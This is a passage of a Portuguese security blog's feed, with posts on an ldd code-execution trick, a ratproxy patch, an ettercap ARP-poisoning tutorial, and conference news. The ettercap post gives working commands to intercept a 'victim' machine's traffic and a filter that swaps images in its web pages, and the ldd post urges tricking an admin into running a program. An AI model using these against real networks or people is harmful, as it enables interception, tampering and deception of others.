monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("%s: error while loading shared libraries: libat.so.0: "&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "cannot open shared object file: No such file or directory\n",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[0]);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 127;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Apartir daqui basta treinar as suas técnicas de engenharia social para fazer o admin executar o ldd no seu programa =p&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usem com cuidado. &lt;br /&gt;&lt;br /&gt;By CleBeeR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;br /&gt;http://catonmat.net/blog/ldd-arbitrary-code-execution&lt;br /&gt;&lt;br /&gt;http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html&lt;br /&gt;&lt;br /&gt;http://www.mail-archive.com/debian-glibc@lists.debian.org/msg39907.html&lt;br /&gt;&lt;br /&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408&lt;br /&gt;&lt;br /&gt;http://g0thacked.wordpress.com/files/2009/11/breaking-the-perimeter1.pdf&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-6448141074510218581?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/6448141074510218581/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=6448141074510218581&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6448141074510218581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6448141074510218581'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/05/engenharia-tecno-social.html' title='Engenharia &quot;tecno-social&quot;'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-8068725415426356695</id><published>2010-05-06T06:31:00.000-07:00</published><updated>2010-05-06T12:50:21.026-07:00</updated><title type='text'>Ratproxy em portas não padrão ( 80 ou 443 )</title><content type='html'>Em alguns testes de segurança e auditoria em serviços Web precisamos utilizar ferramentas que nos auxiliam a realizar este processo, existem diversas ferramentas para isso, dentre elas estão o w3af, parosProxy, burpsuite, webscarab e o ratproxy. O ratproxy* trabalha como um proxy entre o browser do usuário (geralmente quem faz a auditoria) e o site/programa a ser auditado porem em algumas auditorias pode-se encontrar sites/programas que não rodam nas portas web padrão que são as portas 80 e 443, nesse caso ao tentar auditar um serviço que não roda nessas portas o ratproxy exibe a seguinte mensagem:&lt;br /&gt;&lt;br /&gt;"[!] WARNING: Access to this port denied."&lt;br /&gt;&lt;br /&gt;Segundo o desenvolvedor do projeto essa é uma feature implementada por questões de segurança, para evitar que o ratproxy seja utilizado como um portscan ou que sejam enviados pacotes para serviços não-HTTP porém essa implementação acaba nos limitando em determinadas auditorias onde precisamos testar um serviço web rodando em uma porta não padrão e para contornar esse problema eu criei um patch que adiciona a opção "-N" ao ratproxy que quando utilizada nos permite auditar sistemas web que não rodem nas portas padrão.&lt;br /&gt;Basta aplicar o patch a seguir ou se preferir pode baixar o ratproxy com o patch já aplicado clicando &lt;a href="http://www.clebeer.eti.br/ratproxy-1.58-non-http-patch.tar.gz"&gt;aqui&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;---&lt;patch&gt;---&lt;/patch&gt;&lt;br /&gt;# Created by Cl3BeeR &lt;clebeer[at]gmail[dot]com&gt;&lt;/clebeer[at]gmail[dot]com&gt;&lt;br /&gt;# Thu May 06 2010&lt;br /&gt;--- ratproxy.c&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2009-03-31 07:32:10.000000000 -0300&lt;br /&gt;+++ ratproxy.c&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2010-05-06 09:59:06.167625043 -0300&lt;br /&gt;@@ -77,6 +77,7 @@&lt;br /&gt;&amp;nbsp;_u8* trace_dir;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;/* Trace directory &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;br /&gt;&amp;nbsp;_u32 proxy_port = 8080;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;/* Upstream proxy port &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;br /&gt;&amp;nbsp;_u8 &amp;nbsp;use_len;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;/* Use length, not cksum &amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;br /&gt;+_u8* non_http;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;/* Accept requests for non-HTTP ports &amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;br /&gt;&lt;br /&gt;&amp;nbsp;static FILE* outfile;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;/* Output file descriptor &amp;nbsp; &amp;nbsp; */&lt;br /&gt;&lt;br /&gt;@@ -105,6 +106,7 @@&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; " &amp;nbsp; -m &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- log all active content referenced across domains\n"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; " &amp;nbsp; -X &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- disruptively validate XSRF, XSS protections\n"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; " &amp;nbsp; -C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- try to auto-correct persistent side effects of -X\n"&lt;br /&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;" &amp;nbsp; -N &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Accept requests to non-HTTP ports \n"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; " &amp;nbsp; -k &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- flag HTTP requests as bad (for HTTPS-only applications)\n"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; " &amp;nbsp; -a &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- indiscriminately report all visited URLs\n\n"&lt;br /&gt;&lt;br /&gt;@@ -1660,9 +1662,9 @@&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; signal(SIGPIPE, SIG_IGN);&lt;br /&gt;&amp;nbsp;&amp;nbsp;-1726,6 +1728,10 @@&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; all_xss = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp;case 'N':&lt;br /&gt;+&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;non_http = 1;&lt;br /&gt;+&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;break;&lt;br /&gt;+&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; case 'g':&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; get_xsrf = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;--- http.c&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2009-05-13 16:41:01.000000000 -0300&lt;br /&gt;+++ http.c&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2010-05-04 10:45:45.366625269 -0300&lt;br /&gt;@@ -53,6 +53,7 @@&lt;br /&gt;&amp;nbsp;extern _u8* use_proxy;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;/* Runtime setting exports from ratproxy. */&lt;br /&gt;&amp;nbsp;extern _u32 proxy_port;&lt;br /&gt;&amp;nbsp;extern _u8 &amp;nbsp;use_len;&lt;br /&gt;+extern _u8* non_http;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;static _u8 srv_buf[MAXLINE],&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;/* libc IO buffers */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cli_buf[MAXLINE];&lt;br /&gt;@@ -496,7 +497,7 @@&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; if (!ret-&amp;gt;port || ret-&amp;gt;port &amp;gt; 65535)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; http_error(client,"Illegal port specification",1);&lt;br /&gt;&lt;br /&gt;- &amp;nbsp; &amp;nbsp;if (ret-&amp;gt;port &amp;lt; 1024 &amp;amp;&amp;amp; ret-&amp;gt;port != 80 &amp;amp;&amp;amp; ret-&amp;gt;port != 443)&lt;br /&gt;+ &amp;nbsp; if (!non_http &amp;amp;&amp;amp; (ret-&amp;gt;port &amp;lt; 1024 &amp;amp;&amp;amp; ret-&amp;gt;port != 80 &amp;amp;&amp;amp; ret-&amp;gt;port != 443))&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; http_error(client,"Access to this port denied",1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; *x = 0;&lt;br /&gt;--- config.h&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2009-05-13 16:40:38.000000000 -0300&lt;br /&gt;+++ config.h&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;2010-05-06 10:00:03.570624548 -0300&lt;br /&gt;@@ -26,7 +26,7 @@&lt;br /&gt;&lt;br /&gt;&amp;nbsp;#include "types.h"&lt;br /&gt;&lt;br /&gt;-#define VERSION&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;"1.58-beta"&lt;br /&gt;+#define VERSION&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;"1.58-beta-CleBe3R-Non-http-Patch"&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Maximum request / response header line length (HTTP traffic&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;that exceeds this limit will be rejected). */&lt;br /&gt;&lt;br /&gt;------&lt;br /&gt;&lt;br /&gt;* http://code.google.com/p/ratproxy/&lt;br /&gt;&lt;br /&gt;g0 h4ck&lt;br /&gt;By CleBeer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-8068725415426356695?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/8068725415426356695/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=8068725415426356695&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8068725415426356695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8068725415426356695'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/05/ratproxy-em-portas-nao-padrao-80-ou-443.html' title='Ratproxy em portas não padrão ( 80 ou 443 )'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7601336534178206021</id><published>2010-02-02T07:11:00.001-08:00</published><updated>2010-02-02T07:40:42.774-08:00</updated><title type='text'>Brincando com o ettercap</title><content type='html'>Eu precisei montar um mini curso de TCP/IP para um grupo de técnicos e como comentava de manipulação de pacotes resolvi passar o ettercap pra galera e mostrar como capturar e/ou modificar pacotes de acordo com o tipo de "brincadeira que queremos fazer com a "vítima". Aqui vai algumas coisas legais que podemos fazer com o ettercap.&lt;br /&gt;&lt;br /&gt;Monitorando o tráfego da vítima: (arpspoof)&lt;br /&gt;&lt;br /&gt;Não vou me atentar aqui a explicar o que é um arpspoff e/ou arp poison essas informações podem ser encontradas no link a seguir:&lt;br /&gt;http://en.wikipedia.org/wiki/ARP_spoofing&lt;br /&gt;&lt;br /&gt;Vamos tentar sniffar o tráfego de uma estação da rede local para saber o que a "vítima esta acessando" através do gateway.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zPY0AjwymTU/S2hA4Jlld6I/AAAAAAAAAf8/zjeFdYKd8vk/s1600-h/sniff-switch.jpeg"&gt;&lt;img style="cursor: pointer; width: 241px; height: 241px;" src="http://4.bp.blogspot.com/_zPY0AjwymTU/S2hA4Jlld6I/AAAAAAAAAf8/zjeFdYKd8vk/s320/sniff-switch.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433664283812919202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para isso usaremos o ettercap na maquina do atacante:&lt;br /&gt;&lt;br /&gt;No ettercap usaremos as seguintes opções:&lt;br /&gt;&lt;br /&gt;-T          ==&gt; Para executar o ettercap em modo texto&lt;br /&gt;-q          ==&gt; Para não ficar printando os pacotes capturados na tela&lt;br /&gt;-p          ==&gt; Para a interface "NÃO" entrar em modo promíscuo&lt;br /&gt;-M arp:remote   ==&gt; Para executar o arp poison somente entre o gateway e a vítima&lt;br /&gt;&lt;br /&gt;Deixando o comando assim:&lt;br /&gt;# ettercap -T -q -p -M ARP:remote // /10.1.1.2/&lt;br /&gt;&lt;br /&gt;Assim todo o tráfego da estação da "vítima" estara passando pela sua estação antes de ir para o gateway, assim você pode sniffar o tráfego da vítima usando o tcpdump ou wireshark.&lt;br /&gt;&lt;br /&gt;Agora vamos incrementar a brincadeira... :p&lt;br /&gt;Vamos criar um script para que quando a vítma acesse o site com figura X seja exibida a figura Y no lugar da figura X. para isso vamos achar um site que queremos alterar para a vítima (Exemplo www.origsite.com) depois vamos definir a figura que queremos alterar. (Ex.: www.origsite.com/images/logo.png) Agora definimos a figura que queremos que apareça no lugar da figura "logo.png". (Ex.: www.fakesite.org/0wn3d.jpeg) Agora vamos criar o filtro para o ettercap.&lt;br /&gt;&lt;br /&gt;Crie um arquivo com o seguinte conteúdo:&lt;br /&gt;---&lt;br /&gt;&lt;blockquote style="font-family: arial;"&gt;&lt;span style="font-size:78%;"&gt;if (ip.proto == TCP &amp;amp;&amp;amp; tcp.src == 80) {&lt;br /&gt;    replace(img src=\"http://origsite.com/images/logo.png\"", "img src=\"http://fakesite.org/0wn3d.jpeg\"");&lt;br /&gt;replace(img src=\"http://origsite.com/images/logo.png\"", "img src=\"http://fakesite.org/0wn3d.jpeg\"");&lt;br /&gt;&lt;br /&gt;   msg("Imagem Alterada. \n");&lt;br /&gt;}&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;--&lt;br /&gt;Salve o arquivo (Ex.: fake-site.filter) e compile com o seguinte comando:&lt;br /&gt;&lt;br /&gt;# etterfilter fake-site.filter -o fake-site.ef&lt;br /&gt;&lt;br /&gt;Se não houver nenhum erro de compilação, será criado o arquivo "fake-site.ef", para utiliza-lo basta executar o mesmo comando ettercap anterior adicionando apenas a opção -F e o nome do arquivo "fake-site.ef" como a seguir:&lt;br /&gt;&lt;br /&gt;# ettercap -T -q -p -F fake-site.ef -M ARP:remote // /10.1.1.2/&lt;br /&gt;&lt;br /&gt;Pronto agora toda vez que o usuário da maquina 10.1.1.2 acessar o site www.origsite.com o logo exibido será o do site www.fakesite.org.&lt;br /&gt;&lt;br /&gt;Com um entendimento de como funciona os filtros ettercap podemos fazer muitas coisas divertidas como por exemplo alterar o conteúdo de uma msg do msn, header da requisição http ou até mesmo o site de destino que o cara esta acessando, basta usar a criatividade... =p&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Obs.: Todos os sites citados neste artigo são fictícios e o autor não se responsabiliza por qualquer dano que possa ser causado por executar os omandos contidos no texto supra-citado.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Happy Hacking..&lt;br /&gt;By CleBeer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7601336534178206021?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7601336534178206021/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7601336534178206021&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7601336534178206021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7601336534178206021'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/02/brincando-com-o-ettercap.html' title='Brincando com o ettercap'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zPY0AjwymTU/S2hA4Jlld6I/AAAAAAAAAf8/zjeFdYKd8vk/s72-c/sniff-switch.jpeg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-9019678492571611877</id><published>2010-01-27T09:51:00.000-08:00</published><updated>2010-01-27T11:11:27.940-08:00</updated><title type='text'>Campus Party Brasil [desorganização total]</title><content type='html'>Após receber um email convidando a comunidade snort para participar da Campus Party Brasil eu propus uma palestra sobre o snort para divulga a comunidade e mostrar um pouco do que o snort pode fazer para ajudar a mitigar ataques a rede.&lt;br /&gt;&lt;br /&gt;Bem estava tudo muito lindo até a fatídica terça-feira dia 26 de janeiro de 2010 quando cheguei a CPbr pra retirar a minha credencial, após pagar vinte reais no estacionamento (não, palestrante não tem direito a estacionamento mas até ae tudo bem) me encaminhei até ao balcão designado para retirada de credenciais "VIP" que de VIP não tinham nada, esperei 40 minutos (e só havia 2 pessoas na minha frente) até chegar minha vez e a senhorita me informar que sic.: "A sua credencial ainda não esta pronta, toma essa fitinha pra ter acesso a CP e volta daqui 3 horas."&lt;br /&gt;&lt;br /&gt;Até ai tudo bem eu até que sou um cara calmo, depois vi que minha palestra não estava mais na grade, tudo bem eu já havia recebido um email me orientando a ficar de olho na grade pois a mesma poderia sofrer alterações sem aviso prévio, então mandei um email para o organizador que me convidou para a CPbr e não obtive resposta. Por fim acabei não palestrando.&lt;br /&gt;&lt;br /&gt;Mas OK não quero fazer do blog um lugar para desabafo, isso eu faço no bar e quem aguenta é o garçom..rsrs&lt;br /&gt;&lt;br /&gt;Como muitos me perguntaram da palestra estou disponibilizando os slides para download.&lt;br /&gt;&lt;br /&gt;Download via slideshare &lt;a href="http://www.slideshare.net/clebeer/modos-de-operao-snort-campusparty2010-3006797"&gt;AQUI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeeR&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-9019678492571611877?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/9019678492571611877/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=9019678492571611877&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9019678492571611877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9019678492571611877'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/01/campus-party-brasil-desorganizacao.html' title='Campus Party Brasil [desorganização total]'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-3513799644651789271</id><published>2010-01-12T03:30:00.000-08:00</published><updated>2010-01-12T03:33:20.836-08:00</updated><title type='text'>HCF é recebida no Palácio do Planalto</title><content type='html'>&lt;p&gt;No dia 9 de dezembro o Anderson Ramos esteve em &lt;strong&gt;Brasília&lt;/strong&gt; para conversar com o Sr. Raphael Mandarino Junior, Diretor do &lt;a href="http://dsic.planalto.gov.br/" onclick="pageTracker._trackPageview('/outgoing/dsic.planalto.gov.br/?referer=');"&gt;DSIC&lt;/a&gt; (Departamento de Segurança da Informação e Comunicações). Na pauta, entre outros assuntos, o projeto &lt;strong&gt;HCF&lt;/strong&gt; – Hackers Construindo Futuros.&lt;/p&gt; &lt;p&gt;O DSIC faz parte do &lt;a href="http://www.presidencia.gov.br/estrutura_presidencia/gsi/" onclick="pageTracker._trackPageview('/outgoing/www.presidencia.gov.br/estrutura_presidencia/gsi/?referer=');"&gt;GSI&lt;/a&gt; (Gabinete de Segurança Institucional), que por sua vez é um órgão essencial da&lt;strong&gt; Presidência da República&lt;/strong&gt;. À frente dele encontra-se o Gen. Jorge Armando Felix, que possui status de Ministro e se reporta diretamente ao Presidente da República. Participaram ainda da reunião o Sr. Macarino Bento Garcia de Freitas, Coordenador-Geral de Segurança e Credenciamento e a Dra. Claudia Canongia, Assessora Técnica do DSIC.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Mais em:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://www.hcfbr.org/?p=46&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;By CleBeeR&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-3513799644651789271?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/3513799644651789271/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=3513799644651789271&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3513799644651789271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3513799644651789271'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/01/hcf-e-recebida-no-palacio-do-planalto.html' title='HCF é recebida no Palácio do Planalto'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7752238077006451753</id><published>2009-10-05T10:42:00.001-07:00</published><updated>2009-10-05T10:43:10.972-07:00</updated><title type='text'>OWASP AppSec Brasil 2009</title><content type='html'>&lt;div&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span&gt;CHAMADA&lt;/span&gt; PARA &lt;span&gt;PARTICIPAÇÃO&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Conferência &lt;span&gt;I&lt;/span&gt;nternacional de Segurança de Aplicações&lt;/b&gt;,  organizada e promovida pela comunidade TI-controle e pelo Centro de Informática  da Câmara dos Deputados, em parceria com o OWASP, Capítulo Brasil, e com apoio  da Universidade de Brasília (UnB)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;O Centro de Informática da Câmara dos Deputados e a  Comunidade TI-Controle convidam a todos a participarem da Conferência  Internacional de Segurança de Aplicações (AppSec Brasil 2009), que ocorrerá na  Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Haverão mini-cursos nos dias 27 e 28 de outubro,  seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de  2009. &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Keynotes&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style="font-size:85%;"&gt;Dr. Gary McGraw, CTO da Cigital&lt;br /&gt;&lt;i&gt;O Modelo  de Maturidade Building Security In (BSIMM)&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style="font-size:85%;"&gt;Jason Li, Aspect Security&lt;br /&gt;&lt;i&gt;Ágil e Seguro:  É possível fazer os dois?&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Dinis Cruz, OWASP Board&lt;br /&gt;&lt;i&gt;Apresentação do Projeto  OWASP&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Kuai Hinojosa, NY University e  OWASP&lt;br /&gt;&lt;/span&gt;&lt;i&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Implementando Aplicações Web Seguras  Usando Recursos do OWASP&lt;/span&gt;&lt;/i&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;Palestras&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;A Conferência 